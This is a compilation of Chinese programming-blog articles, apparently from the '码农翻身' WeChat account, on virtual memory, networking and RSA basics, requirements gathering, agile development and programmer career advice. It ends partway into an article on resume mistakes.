一个重要的原因就是给各位进程先生提供一个由虚拟地址组成的独立王国，　给他们造成一种假象：　我最重要，我是独占内存的！




每个人在自己的独立王国里闹腾，就不会互相打架， 治安也就有了保证。




但是在虚拟地址王国里做不了什么事情，指令必须在物理内存中才能被执行， 操作系统老大用尽浑身解数，把每个进程的虚拟地址映射到实际地址上去，表面上不动声色，背后绝对惊心动魄，分段，分页，页表，还要动用CPU的TLB来加速。




程序并不是像你想象的那样，一下子全部装载到内存的， 而是慢慢地， 用到的时候才进行装载。




进程一条普通指令的执行， 其实有一大家子在鞍前马后地忙碌着， 而进程几乎浑然不觉，真是太幸福了。




扩展阅读：

书籍《深入理解计算机系统》， 《操作系统概念》
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 网络的核心概念









上面所说的都局限于一台计算机， 然而一张大网早已经把这些孤岛联系在一起。




这张大网就你我的周围， 我们都变成了它的一个节点。




大网的设计非常有趣，没有一个中心的节点，某几个甚至某一片节点阵亡都没有关系，大网继续生存，提供服务。




作为码农我们要理解的核心概念是： 分组交换， TCP/IP参考模型， socket , http(s)。




你也许没有想到，你上网玩游戏，听音乐，看这篇文章，其中的数据并不是一下子全发给你的， 而是被切分成适合网络传输的小块，给每个小块编上号， 每个小块都独立地走相同甚至不同的网络路径， 到达你这里，重新排序，组合，然后才展示给你，  这就是分组交换。




使用分组交换可以充分的利用网络带宽： 在你不使用的间隙，别人也可以利用。




但是一个很明显的问题就是分组数据丢失了怎么办？ 如何检测， 怎么重发，如何缓存已经收到分组数据等一系列烦人的问题接踵而来。  这就是TCP要干的事情。




如果你能体会到TCP是在端系统实现的，中间节点一无所知，我想你就Get到了分组交换和分层的真谛。




TCP/IP参考模型定义了5层： 应用层，传输层，网络层，链路层，物理层。你一定得理解所谓的分层只不过是把你的数据层层包装而已，在传输的过程层中每到一个节点都会拆开某一层的包装，查看一下数据， 然后再次包装，转发出去，直到终点。




也许你不愿意了解底层烦人的细节， 但是一定要理解socket和http(s) ， 这哥俩最贴近我们码农的日常生活，我们经常直接和他们对话，利用他们收发数据， 所以花点经历好好学学吧。




扩展阅读：

TCP/IP之大明邮差

TCP/IP之大明内阁


TCP/IP之蓟辽督师

张大胖和socket

我是一个网卡

我是一个路由器




图书：

《图解HTTP》

《计算机网络：自定向下的方法》
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  Hash 和 RSA








如果说Https是网络安全通信的一大基石， 那Hash和RSA 则是基石的基石。




为了保证消息在传输过程中的私密性， 完整性，不可伪造性，这哥俩可以说是功不可没。




其实不仅仅是Https , 在各种软硬件平台上都能看到他们勤奋的身影， 例如SSO, SSH, JWT .....  所以非常值得你投入精力去学习。




RSA最为美妙之处就是有一对儿钥匙， 一个是私有的、保密的， 另外一个是公有的， 谁都可以知道， 这对于之前的对称密钥是个极大的颠覆， 谁能想到原先需要保密的密钥竟然可以公开呢！




更有意思的是私钥加密的数据只有相应的公钥才能解开， 反之亦然，这确实是很漂亮的概念。




RSA的概念很简单， 但是为了实现真正的安全消息传输，作为第一步必须得有数据签名做保证， 你需要理解如何对消息用Hash形成摘要，然后用私钥签名，又是如何验证这个签名的， 理解了这一点，很多东西都迎刃而解。




ps : 下周发一篇https的文章，敬请期待。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    你的需求是怎么描述的？

                                                                                

                    

                    

                    
                    
                    1



  领导口述型





张大胖一边心猿意马地Coding， 一边听着领导在电话里“卑躬屈膝”，”奴颜媚骨”地讨好客户 ： “好的，李总，我明白你的要求了！  下周一上线？ 嗯.... 没问题 ， 我们开发人员的素质绝对一流，请您一定放心！“




打完电话， 领导转头就对大胖说： “紧急任务，下周一上线，审批流程中第二步和第三步需要合并， 另外李总需要真实笔迹， 想在App端支持手写功能。”




“手写功能我没做过啊” 张大胖说




“还不赶紧学！”




“服务器端还得存储手写审批的图片呢！”




“快把小李叫过来， 你们俩坐一起，攻关一下”




费了九牛二虎之力， 张大胖把审批流程中的第二步和第三步合并了， 可是领导回过头来就是一句：“李总又说了， 还是两个步骤分开好一些， 我们rollback 吧。 手写功能怎么样了， 什么？ 还没开始？ 抓紧啊！”




2



 稀里糊涂型





“走，大胖，今天跟我去参加一个需求交流会，王总亲自和我们交流。”





张大胖挺不乐意去的， 这个王总是个国企信息部门的领导，懂一点点计算机技术，自以为是。




你不懂计算机或者精通计算机都行，就怕这样懂一点点的半吊子，总是喜欢想象一下，再发挥一下，认为软件很简单： “不就是读取后台的数据库嘛？ 有什么难的？ 我也学过，别想蒙我！ ”




更要命的是，需求澄清的时候，王总从来都是高谈阔论，一个会议他自己都能说2个小时，只说愿景和战略，夹杂着自己对计算机的理解， 很少能见他倒出来一点需求的干货。




可悲的是作为乙方，大胖还得附和着，频频点头表示认可， 努力领会领导意图。




张大胖只好在会后问王总手下的人， 这些人知道细节，但是却没有决定权： “这是我个人的想法啊，不一定对， 你去问问王总去”




张大胖不敢去， 因为一去就被骂： “你们是怎么搞的， 我在会上不是说过这个问题了吗，还没听懂？   这样吧， 下周再开个需求会议！”




下周的需求会议依然照旧。 三个月过去了，需求还是朦朦胧胧的一片。




王总说： “你们先开发一个版本，让我们看看！”




第一个版本出来了， 被很批了一顿。




第二个版本出来了， 继续批。




底层的数据库表被改来改去，开发被折磨得一点脾气都没有了。




神奇的是， 这个项目某一天竟然成功的交付了， 王总凭借这个项目还获得了集团的奖励！




当然这个项目是没人用的。
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事无巨细型





张大胖的公司接了一个日本的项目， 看看人家发过来的需求， 哇塞，100多页，这Use Case写得多么详细啊 ！  每一步什么人做什么事情清清楚楚、明明白白、真真切切。




类图，顺序图一个都不能少，那叫一个漂亮。




还有这界面画得简直和成品一模一样啊，啧啧， 这像素， 简直是拿着放大镜画出来的。




这伪代码，写得真是详细，稍加翻译就可以变成程序了， 真是只差一个码农了！




听说他们为了整出这套文档就花了整整一年的功夫， 张大胖在翻译伪代码的时候老是想： 花了这么长时间整需求， 他们怎么不直接把软件给写出来呢？ 还有，万一这需求错了该怎么办啊？
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 口述+界面原型





“大胖， 我们到会议室去开个会，讨论下这个版本的新需求”




开发，测试， 美工 济济一堂， 经理把这个版本的需求概要地说了一遍，然后就打开小梁设计好的界面原型讲了起来。




界面原型是个好东西， 非常直观， 一看就知道到底要做成什么样子， 页面之间的跳转关系也一目了然。




张大胖一边听，一边心里琢磨着这个数据库表该怎么设计， 表该怎么改，怎么做数据迁移，界面的流程该怎么跳转， 后台需要提供什么样的服务...




大家叽叽喳喳的讨论了一个下午，终于安静了。




看到大家的理解基本一致了， 经理开始做最后的总结陈述：

"怎么样？ 还有问题吗？  没有问题的话小梁按今天讨论的把界面修改一下， 大家估算一下自己的工作量，下班之间报到我这里。"




张大胖心想，估算也没啥用， 反正上线日期都确定了。




需求知识进入了各自的脑海， 而没有进入文档。
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 客户参与型





这个项目有点意思， 采用了敏捷软件开发的思想。




张大胖欣喜地看到， 精通业务的客户代表竟然入驻了项目组，和大家一起吃饭，一起上下班。




刚开始的时候， 需求以用户故事的方式描述了出来，简单得不能再简单了，就是从用户的角度来描述用户渴望得到的功能 ，格式如下： 作为一个<角色>, 我想要<活动>, 以便于<商业价值>  ， 但是大家都看不习惯。 后来干脆不要求具体是什么形式了， 只要把需求的业务价值体现出来， 简单明了就可以。




客户能深度参与到开发中真是太爽了， 有了问题随时提出，很快就得到解答。  




对于界面应该是什么样子， 张大胖经常和客户一起在白板前写写画画， 很快就达成了一致。 有时候还需要美工出马， 做出Web界面或者App界面让开发使用。




项目采用迭代的方式，每两周交付一个版本， 客户代表会帮助做验收测试，保证项目不会偏离方向。




由于有客户的参与， 项目极大地减少了沟通的成本，减少了浪费， 客户代表能告诉你哪些需求最重要，优先级最高，一定要先做，哪些可以往后放，最后有些需求真的被砍掉了。




在这种氛围下工作，大家的心情都很舒畅， 最后项目上线虽说晚了两周， 但是客户非常满意， 他们得到了他们想要的系统。




后记：以上这五种情况是我的亲身体验或者是朋友的经历， 需求的描述多种多样， 不同的项目类型、管理风格会导致天壤之别，大家的项目是怎么描述需求的？ 欢迎留言！







你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577







码农翻身



用故事讲述技术本质





微信号：coderising









                    
                    
                    白话敏捷软件开发

                                                                                

                    

                    

                    
                    
                    最近有不少初学者问什么是敏捷软件开发， 我发现一两句话也说不清楚， 索性写一篇文章。







敏捷的意思就是反应迅速，  为什么要反应迅速？  看看那么多996公司就知道了，  市场变化越来越快，客户要求越来越高，  为了满足用户的需求，  人家一个星期发一个版本， 我们仨月才能憋出一个来 ， 那还不被打的满地找牙？




问题是如何才能反应迅速？  先来看一个场景：
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残酷的现实








软件开发有一大难题就是客户脑子中的需求难于描述出来， 我们通常的应对方法是这样：




先花上几个月整理需求， 天天和客户座谈， 画出几百页的流程图， 写出上千页的文档， 最后把客户都快搞晕了。




 项目经理



这是您要的软件需求吗？








（看到这么多的文档） ： 嗯， 应该是。





 
 客户





 项目经理



那就请您在需求确认书上签字吧








（心里犯嘀咕， 但是一想，反正是我先给你个首期款，怕啥？ ） ： 签就签！





 
 客户





 项目经理



（非常高兴的宣布）需求分析阶段结束了， 项目成功进入下一个阶段： 概要设计！











然后是详细设计， 开发， 测试，  我们强悍的技术团队开始发动， 一切都严格按照计划进行， 一切看起来都很完美， 看来项目马上成功结束了！




但是客户的验收测试给了我们当头一棒： 这个界面怎么少了一个选项 ？    那个界面怎么不能跳转 ， 那个功能需要给领导一个后门， 还有， 我的业务规则怎么不能改？  什么？ 在代码中写死了？  唉，你们做的系统啊， 根本就不能用 ！







每个人都很郁闷， 几个月的辛苦开发看来要付诸东流了。




从这个场景中能看出的是，  我们从客户那里得到的需求描述和需求文档， 其实离客户真正想要的软件还差的很远。 




在瀑布式的开发模式下，验收测试发现的问题，要想改正代价是非常高昂的。
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改进








一个想法自然而然就浮现出来： 为了避免到最后习惯性崩盘，能不能让客户经常性的做验收测试？ 




让他们经常性的去使用一个可以工作的软件， 从而告诉我们那些地方还有欠缺 ？ 那些地方做错了？  这样我们可以迅速的修改， 这样我们就会轻松多了 ！





我们可以把软件开发划分成一个个小的开发周期， 例如每个周期就两三周时间， 在这两周之内我们完成一个或几个功能， 然后就让用户去试用， 有问题立刻反馈，在下一个开发周期马上改掉。 这样就可以逐步逼近客户的最终目标。




这还带来了一个额外的好处， 不用花费巨长的时间来分析，整理冗长的需求文档了。




听起来很美是不是？  但是仔细想想这里边的问题很多。




1.  抛弃了冗长的需求文档， 但还是得描述需求啊




需要发明一个简单的、主要用来促进客户和开发团队沟通的描述形式，  这个新的形式叫做用户故事， 这里有个用户故事的例子：    






这是一个卡片， 背面还会记录下针对需求的讨论和验收标准。




用户故事主要彰显的是： 谁做了什么事， 带来什么商业价值。




2.  怎么决定每个小开发周期（我们称之为迭代吧）要开发的东西？




用户故事得有估算， 得有大小， 太大了一个迭代开发不完 ， 还得拆分一下。

我们需要对需求按照优先级进行排序， 按照优先级从高到低的原则来开发。




3. 不要架构设计了吗？




一上来就按优先级选择需求， 直接进入迭代开发， 把架构师撂在一边，合适吗？




架构工作肯定还是需要的，在正式的迭代周期开始之前需要架构设计， 但是和设计出面面俱到的架构设计不同， 我们更需要演进式的架构， 随着迭代的推进而进化。




4. 那详细设计怎么办？




在每个迭代开始的时候，团队在一起把这些用户故事给拆分成一个个小的任务， 这个拆分的过程就相当于详细设计了。  对于一些特别复杂的，例如算法， 当然可以写文档，帮助大家理解。




5. 由于是迭代式开发， 这个迭代周期修改上一个迭代周期的代码在所难免， 怎么保证不破坏原有的功能？ 总不能每次都手工重测一遍吧？




这个绝对是一大难点， 答案就是自动化的回归测试， 包括单元测试和功能测试。




开发人员写代码的同时，也要写下自动化的单元测试，   测试人员需要开发自动化的功能测试， 这样一旦有了代码的修改，就可以运行它们， 检查现有功能有没有被破坏。




像持续集成这样的基础设施是必不可少的，   每天，每小时，甚至每次代码提交都会触发编译，打包、部署、测试这样的过程。




6.  这么短的开发周期， 测试人员怎么测试啊？




开发和测试需要同步进行， 当开发在澄清需求的时候， 测试需要参与， 当开发在编码的时候， 测试人员在编写测试用例，等到一个用户故事开发完，马上就可以投入测试。




7. 看来开发、测试之间需要紧密的协作， 它们之间怎么沟通？




肯定是面对面的沟通， 有问题就跑到对方的座位那里去问，大家的座位最好在一起， 扭头就可以讨论，   尽可能减少效率不高的电话、QQ/微信等工具的使用。




开发团队每天都开一个15分钟左右的站会， 展示自己的进展和计划， 让进度保持透明，  及时暴露问题，解决问题。




8. 客户什么时候可以做验收测试？




随时欢迎， 但是我们更倾向于迭代结束以后， 这时候功能会稳定下来， 我们会给客户做一个演示， 告诉他这个迭代完成的工作， 邀请他也测试一下软件， 给我们反馈。




当然客户可能会发现问题， 甚至提出新的需求， 我们表示欢迎， 我们要和客户合作，而不是对抗。




除了给客户演示之外，我们自己还会反思一下，看看有那些地方做的好，要继续保持；  那些地方做的不好， 要持续改进。







估计你也明白了，这种看起来很美的迭代化开发方法实施起来挺不容易的， 如果我们给它起个名字的话， 可以叫做：敏捷软件开发。 










你看到的只是冰山一角， 更多精彩文章，参见《码农翻身文章精华》










公众号：码农翻身





“码农翻身”公众号由工作15年的前IBM架构师创建，分享编程和职场的经验教训。
















编辑推荐




掘金是一个高质量的技术社区，从移动开发到架构设计，编程语言到开源类库，让你不错过互联网开发的每一个技术干货。长按图片二维码识别或者各大应用市场搜索「掘金」，技术干货尽在掌握中。











人在职场



                    
                    
                    凡事必先骑上虎背，给性格内向的程序员聊几句

                                                                                

                    

                    

                    
                    
                    上周有个同学在ＱＱ上问我问题，说他所在的是个中小型公司，开发团队有个十来个人七八条枪，做行业软件，现在公司没有技术经理，只有一个懂业务的总监来管理所有开发人员，开发人员都是初级水平，大部分只有1-2年经验，相比而言，他还算老人。








总监认可他的技术，似乎有意让他做技术经理，最近公司招人也让他去面试。但是他自己不太自信，觉得表达能力不行，有些技术还比较薄弱，不知道怎么提升，所以向我请教。　




我说这对你来说是个非常好的机会啊，你只要再勇敢一点，再积极一点，也许很快就能当上技术经理了。关键是：

１.　要对老板，总监展示出你的能力出来。

２.　还要对组里的成员也能展示自己的能力，让大家认可你，服你，这样就能形成技术领导力了。




但他觉得技术还是有短板，感觉自己基础理论不扎实，领导给布置的功能能做出来 ，但是说原理就有可能卡壳，　我说这正好是一次机会，最好的学习时机，有了问题的引导，你会疯狂地学习，迅速的提升自己。　




我想起了０９年看的一本书《陈寅恪与傅斯年》，里边形容傅斯年是“凡事必先骑上虎背”，　这句话我一直印象很深刻，对于一个内向的程序员来来说，我在遇到机会，犹豫不决，缩手缩脚的时候总是会想起它，然后鼓起勇气先骑上虎背，让自己下不来台再说，但是真的尽自己最大努力以后就发现，事情没那么难，最后还都把事情做成了。　




作为一个擅长和机器打交道的群体，大部分程序员的性格都比较内向，沉默。 别看在网络上，在QQ群里边谈笑风生，幽默有趣，但是回到到现实中，面对一群人的时候，连准确的表达自己的观点可能都做不到，更不用说去柔中带刚，唇枪舌战地争抢某个东西了。




我自己也是这样，从农村出来，老实巴交，谨小慎微，很多事情不敢也不会去努力争取，完全靠自己的能力吃饭，所幸的是遇到了几任很好的领导，被老大罩着，还算混的不错。




但这样很吃亏，因为你的能力在工作中体现出来的只是一部分，比如说１０分的能力只能显露出７分，剩下的那３分可能就被埋没了。




对于一个内向的人来说，害怕失败，害怕开始做领导以后被别人说自己不够格， 所以总是想把自己修炼得尽善尽美，达到甚至超越那个职位的要求以后心里边才会踏实，才会想着领导会看到，让自己去做那个工作。　可是反过来讲，世上哪儿有等你完全准备好以后才开始做的事情， 你觉得完全准备好以后，黄花菜都凉了。





IBM每年暑期都有一个叫做“蓝色之路”的实习生计划，招聘学生到公司实习，  在这个计划中有4-5个被称为Extreme Blue （青出于蓝）的项目， 面向的是最优秀的大学实习生。 这个Extreme Blue的项目是由IBM的员工提出有创新的、有商业价值的想法，由这些优秀的学生去实现。  我在08年的时候提了一个想法：在一个3D虚拟世界中构建一个支持敏捷软件开发的环境。 有幸被选中作为Extreme Blue项目之一。




当时我对敏捷软件开发还算了解，但是对于在3D虚拟世界中建模、编程就一无所知。可是已然骑上虎背，下不来了， 接下来马上要带着实习生来实现，怎么办？  只剩华山一条路，明知山有虎，偏向虎山行，那就是逼着自己赶紧进入未知领域，拼命地去学，向海绵一样吸收各种知识， 几个月以后，还确实把这个项目给做出来了。




举这个例子就是想说：对于性格内向的程序员，很多时候你认为基本准备好了其实就够了，凡事必先骑上虎背、勇敢地迈出去， 努力的争取一下，你就发现自己登上了更高一层的台阶。






你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577










码农翻身



用故事讲述技术





微信号：coderising








                    
                    
                    为什么能力优秀的人当了主管以后反而不行了呢？

                                                                                

                    

                    

                    
                    
                    本文来自陈宇明的投稿，微信公众号“码个蛋”，老刘做了修改。



在IT行业初级程序员市场饱和的情况下，初入职场的码仔经历了千辛万苦，花了整整1个月的时间，终于拿到了一家创业公司的offer。

入职的第一天，码仔激动得很早就醒了，来到了公司，居然还没开门！什么鬼？掏出手机一看才8点，公司正常上班9点，他站在公司门口干等了1个小时。但是这丝毫不影响码仔对这份新工作的激情，心中默默给自己打气。


“奋斗吧！”







入职后的前半年顺风顺水，码仔上班时努力高质量地完成日常工作，下了班拼命自学，把各种基础知识给补上。




此时此刻公司正好融到了钱，团队疯狂扩张，原来自己负责的模块也增加了两个人手，两个新人经常向自己请教业务和相关技术，码仔已然变成“资深”员工了！




有一天，领导突然把码仔叫到了会议室：“小码，你看你原来负责的模块也有3个人了，需要人来负责，我观察了你一段时间，工作技能和工作态度都比较不错，这样吧，这个开发小组就由你负责吧，你的工资也相应地涨一级！”




码仔没想到幸运来得如此突然，但是心里也有点隐隐的担忧，能干好吗？ 转念一想，不就是带着两个人干活嘛，有什么难的？原来我也经常“指导”他们俩啊。于是立刻向领导表示决心：我一定不负领导期望，把这个小团队带好。




但是码仔没有想到，随着幸运而来的也有一个叫做“累死你不偿命”大坑正等着码仔去跳呢！








当时公司首要目的是尽快发布第一个产品抢占市场先机，因此尽快上线这件事情迫在眉睫。时间短，开发任务很重，这个时候码仔的第一个决定就是申请加班，开启996加班模式，其目的是为了快速让产品上线。他作为组长，一个人挑起了开发的大头，产品也做到了提前完成。













产品需要不断的迭代开发，团队成员规模也随着不断的扩大，从最开始的3个人到8个人，新的项目也从最开始的1个变成了3个，这个时候任务量急剧加大，自己的加班时间越来越长，压力越来越大，码仔觉得越来越力不从心。

屋漏偏逢连夜雨，竟然还有团队成员给领导抱怨说在码仔的团队里干的都是杂活，难于成长！ 码仔觉得好委屈。











这是怎么回事？ 码仔陷入了沉思，我这么努力，怎么效果还不如以前好呢？




任务虽然越来越多，但是我们组的成员也越来越多，不应该呀！ 我们组的新人占多数，但是能力和态度还可以，照理说我应该比之前单打独斗的时候更轻松才对啊！








码仔每天都在思考这个问题，一天想到了凌晨1点，脑子里突然灵光一现顿悟了：自己的角色还是没有转换过来啊！













由于他之前个人能力优秀，才被提拔上来。自己的优势是开发能力，并且一直是开发的主程，即使是当了主管，依然把自己当作主程来看待。





比如些较难的任务，给下属做需要3-5小时，换自己做起来只需要1-2小时，这个时候他会把所有难点问题揽过来独自解决，以为这是最高效率的解决方案，结果就导致自己越来越累，其他成员越来越轻松，整体效率越来越低，团队的成员没有机会解决难题，能力也难于成长，抱怨也就随之出现了。




码仔赶紧爬起来给领导写了一封邮件，里边检讨了自己作为团队领导两个主要问题：








	自己独揽问题， 这样的做法让组员觉得，问题总会有人解决，自己不用去思考，有问题找老大就好了呀。成长很大一部分都来自于自己的工作任务，而有难度任务最为锻炼人。锻炼的机会都被码仔一个人揽去了，所以导致组员们的能力止步不前。




	 由于较难任务都是我自己完成的，个人时间被这些任务所占据，所以只会越来越忙，同时下属会越来越轻松，自己无法去做管理应该做的事情。







没想到凌晨一点的邮件刚发出去没多久，电脑就提醒领导回复邮件了，领导工作也真够拼命的！码仔一边想，一边赶紧打开邮件去看，只见其中写到： 




看来我没有看错人，你不仅技术好，还积极的思考，反思，针对你遇到的问题，我有下面几点建议：







1.认识自己的工作职责   

要搞清楚自己的具体工作职责是什么，而不是一味了去做自己之前擅长的开发工作。这也怪我，当时提拔你的时候没有把这一点交代到，我提拔你肯定是看好你，并且希望你做好这个工作，你做好了我也随之轻松了，所以有问题多找我聊聊，当然也可以请教有管理经验的朋友。




2.从自己做改成教他人来做   

当认清自己的工作职责后，要把自己“亲力亲为”的行为转换成放权让组员做，如果组员不会就教他们做。 中国有句古话叫“授人以鱼不如授人以渔”说的是传授给他人既有知识，不如传授给他人学习知识的方法。这样的好处是以后他们遇到同类问题自己就会解决了，从而能力也会得到大幅度的提升。









具体如何教呢？ 共有四步： 







   1. 讲给他听：解决问题的思路传授

   2. 做给他看：演示解决问题的做法

   3. 让他来做：检验他的学习的效果

   4. 跟踪落实：阶段性检查他的成效




码仔看了以后如沐春风，大为感慨，领导就是有水平啊，有理论，有方法。从明天，不，从今天开始一定要改善自己的管理了。




又过了一年，码仔在自己的思考和实践中大幅度地提高了团队战斗力，不仅自己更加轻松，能把注意力放到更有价值的问题上，而且整个团队效率很高，人员能力提升很快，有几个特别优秀的，完全可以拿出去独挡一面了。




这年的年终总结大会，码仔的团队获得了公司唯一的最佳团队奖！








总结：





刚当上主管之后，本质上自己是从业务高手转变成管理角色，工作职责自然不一样了。如果还是以一个业务高手的职责去做主管，最后的结果一定是自己忙得不可开交，团队产出低下，同时还不是一个称职的管理者。管理本质上是提高团队的协作效率，举个例子，团队有5个人，不经管理的时候，只能做到3个人的工作量，而经过管理过，5个人能做到7个人的工作量，这就是管理所带来的价值。




成为管理者的时候，上级的评价标准也开始变了，当你是管理之前上级是评价你一个人的产出，现在你是管理了，上级评价的是你整个团队的产出。

（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    不想做技术了，还有一条路

                                                                                

                    

                    

                    
                    
                    有几个同学向我反映说不想干技术了，太累，新东西也太多，根本学不完。





这是没办法的事情，做软件开发的就是这么“苦逼”， IT的浪潮一波又一波，新东西层出不穷，每隔几年都会有一次大的变革，从单机软件到C/S 软件， 从C/S到B/S,  然后是手机端爆发，大数据，云计算，这一波浪潮感觉还没完，人工智能又迎面扑来，开始“忽悠”了。




所以我也一直说对技术没有兴趣在软件开发行业是不好混的， 也非常理解一些同学不想再干的苦恼。




但是IT业也是广阔天地，大有可为的， 不仅仅有开发这个技术岗位，还有产品经理、项目经理、运维......等等和开发有关联但是编码较少的岗位， 今天想和大家分享的是在国内比较小众的岗位： 业务专家。




我得知这个岗位最早是在一个家小外企，做的是税务软件开发.  入职后就看到了相关的业务文档，条理清楚，层次分明，写得相当漂亮。 我当时还好奇这是哪位技术大拿写的，人才啊！ 后来老大说公司专门有一个业务分析的团队，其中都是业务专家，对税务领域，尤其是欧美的税务非常精通， 文档都是他们出的。




他们的主要工作就是分析欧洲各个国家的税务知识，梳理其中的业务逻辑，形成相对通用的业务模型，划分成各个业务模块，交给中国团队，让中国的“廉价劳动力”开发出来。




有意思的是这些业务专家团队主要位于南非，他们来中国的时候我接触了几个，有一位应该是没接触过编程， 设计出来的模型不太好实现， 在我这个完美主义者看来不够完美， 只是我那蹩脚的英语实在是太差，结结巴巴、词不达意， 只能用有限的单词拐弯抹角地表达出自己的意见，最后不得不屈服于他的“淫威”。




后来在IBM见到了更多的业务专家，或者称为BA(Business Analyst)， 他们很多都是从程序员成长起来的，对系统非常地熟悉， 在做验收测试的时候，经常一边在界面上操作，一边查看数据库， 最后开个Bug , 说数据库表某一行数据不正确！




高傲的程序员被人死死抓住了把柄， 很没有“面子”，心说验收测试不是黑盒测试吗怎么还看数据库？但是不得不佩服， 赶紧加班加点修复。




拥有这样的BA，是非常非常幸福的事情，他们和客户沟通，梳理业务知识，写成了程序员熟悉的样子，由于懂技术，他们和程序员沟通起来非常地顺畅， 除了他们是美国人，有时差之外，开发过程简直完美了。




更让我吃惊的是，还有一些业务专家，自从加入IBM以后就一直在大型机（Mainframe，就是运行银行金融等核心业务的服务器）上工作，竟然在大型机这个领域摸爬滚打了几十年，对他的销售模式、收费模式了如指掌，成为了整个大型机部门不可或缺的关键人物。




当时还听到一个段子，不知是真是假，说有个老太太是银行业务的专家，已经退休了，但是又被公司返聘回去，原因是客户很需要她， 她只要坐在那里，什么都不干，客户就会觉得有底气 --- 这得是什么境界啊！




请大家注意的是，这些业务专家所处的行业，都有着稳定的、持久的、变化比较缓慢的业务，例如税务、银行、财务、保险、医疗、股票证券、期货等等。 如果你也是在类似的行业，可以持久地积累业务知识，能够成为业务大拿的，不妨考虑下业务专家这个方向。




技术最好也保持住，不要随意丢掉，如果既懂技术，又是业务专家，那在行业就太吃香了。




如果你所在的公司以承接各式各样的项目为主，或者所处的行业并足以让你积累起丰富的业务经验，无法建立起护城河，那就不用考虑了。




对于我个人来说，我也想找一个越老越吃香的职位， 但是在纯技术领域这几乎不可能，变化实在是太快了。  如果时光倒流的话，也许我会找个行业，成为一个懂技术的业务专家。




（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》











死板、呆萌、宅、不解人意…作为一名敲代码为生的程序员，你是不是被旁人贴过太多不属于你的标签？


1024程序员节这天，100offer给你一个撕掉标签的机会：关注100offer微信号，发送一段话／一张图／一段视频／一条语音…展示你除了敲代码以外的神技能，还有最高价值1024元的“程序员兴趣基金”等你拿！


















                    
                    
                    纪念我最有效率的一次加班

                                                                                

                    

                    

                    
                    
                    在我10多年的职业生涯中， 我印象最深的超高效率的一次工作是加班， 还是主动加班。





那是进新公司没多久， 各种开发环境还没怎么熟悉，还是一脸懵逼的时候， 领导就给派了一个紧急的任务，有个系统依赖的SDK要升级， 这个新的SDK提供的API 和上个版本完全不同，所以我们的系统也要大量重写。




更要命的是，由于一些失误，这项升级工作已经对客户做了承诺，要在特定期限内完成（忘了是3天还是5天了）。




所以我这个“苦命”的新人被迫面对了三座大山：




1. 学习新的SDK

2. 立刻把我们的系统搞懂

3. 对系统进行重写，使用新的SDK API




那种感觉就是一个不会游泳的人一下被扔到了大海里。 没办法，只有硬着头皮上了。




任务的布置是在周四， 周五的时候我了解了现有系统的业务， 把要做的事情分析了一下，我发现也许并没有想象的那么难，因为这个系统逻辑简单，关键的部分都是在使用SDK做事情， 所以重点就是SDK。




时间紧迫，为了完成工作，也为了给领导留下个好印象，只剩下周末加班一条路。




周六睡到自然醒， 精力充沛，到外边的四川餐馆吃了一份宫保鸡丁盖饭，骑着自行车到地铁站，坐地铁去公司。




为什么去公司加班？  首先是家里太吵，让我分心的事情太多， 更重要的是内心估计是想追求一种“悲凉”的气氛， 偌大的办公室只有我一个人在那里辛苦地工作，这场景想想都酸爽。




到了公司，先冲了一杯咖啡（那时候公司还有点小福利，有点免费饮料）。  然后气定神闲地打开电脑，正式开工，先去看SDK的API文档， 学习新的SDK的用法 （这是个专属的SDK，网络上的文档极少）。




周边是绝对的安静，办公室的光线比暗， 只有我的座位亮着灯，电脑在嗡嗡作响，真是一个极佳的工作环境。




感觉把时间都忘记了，连续工作了四五个小时，除了咖啡续杯之外，基本上没怎么动窝。 没有智能手机可看，也没有上网去浏览网站，心无旁骛。




思维极为活跃，效率极其高， 一个下午的时间，基本掌握了新SDK的用法，按照文档写了好几个例子。 不仅如此，还基本上把我们现有的系统读明白了，三座大山被搬掉了两个，心里一下子放松起来， 看看表还不到6点钟， 收工回家！




周日继续睡到自然醒，中午继续吃宫保鸡丁，保持良好状态，不要过度放松，一举把第三座大山搬掉。




这是第一次（两个下午）超高效率的加班， 有了这一次的经验，以后每次遇到艰巨的任务，需要我一个人静心干活的时候， 我自然会想到周末的下午屁颠屁颠地跑到公司来战斗。




和这种加班形成鲜明对比的是长期的加班，我也经历过多次，有一次加班时间太长，导致握鼠标的右手开始疼痛，不得以切换到左手用鼠标。 那是一种完全没有效率的状态，就是机械地坚持着做事情， 没有激情，缺乏创造力，头脑昏昏沉沉，无时不刻都在盼着早点结束，早点回家，早点休息。




总结一下为什么我的这种主动加班的效率最高，无非是下面几点：头脑清醒、无人打扰、目标专注、时间期限， 缺一不可。




头脑不清醒对于脑力工作者来说几乎没法工作，尤其是有挑战性的工作；  有人不停地在身边聒噪很容易让人分神； 目标太多让人陷入混乱； 没有时间期限就容易放羊。




很多人都觉得深夜时的工作效率要远远超过平时，应该也是这个道理吧。




（完）




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    书写「简历」时，需要规避的错误。

                                                                                

                    

                    

                    
                    
                    前言： 本文来自吴林真的投稿， 微信公众号：吴先生的伊甸园， 文章虽长。但全是干货，讲了很多简历中容易忽视的小细节。



现在是求职旺季，各大企业纷纷加入校招的队伍当中。我也有幸看了不少同学的简历，有几封不错的简历，也有几封很有个性的简历，但是绝大多数人的简历写的不尽人意。




我来分享一下在递交简历之前，你可能会犯的一些错误。有则改之。如果我说的问题你早就注意到了，至少在简历方面你已经领先绝大多数人了。




1
是否贴照片


你有没有贴照片，在对方眼里看来不会有太大的区别。




如果你贴上了自己的照片，就请你对贴上去的照片负责，去影楼拍一张美美的证件照吧，他们会帮你画一点淡妆，并对照片进行一定的处理，让你显得比平时更美一点。




因为我看到一些同学，照片中的人蓬头垢面，或者放了一张一寸大小的全身照，这确实会影响你的印象分。




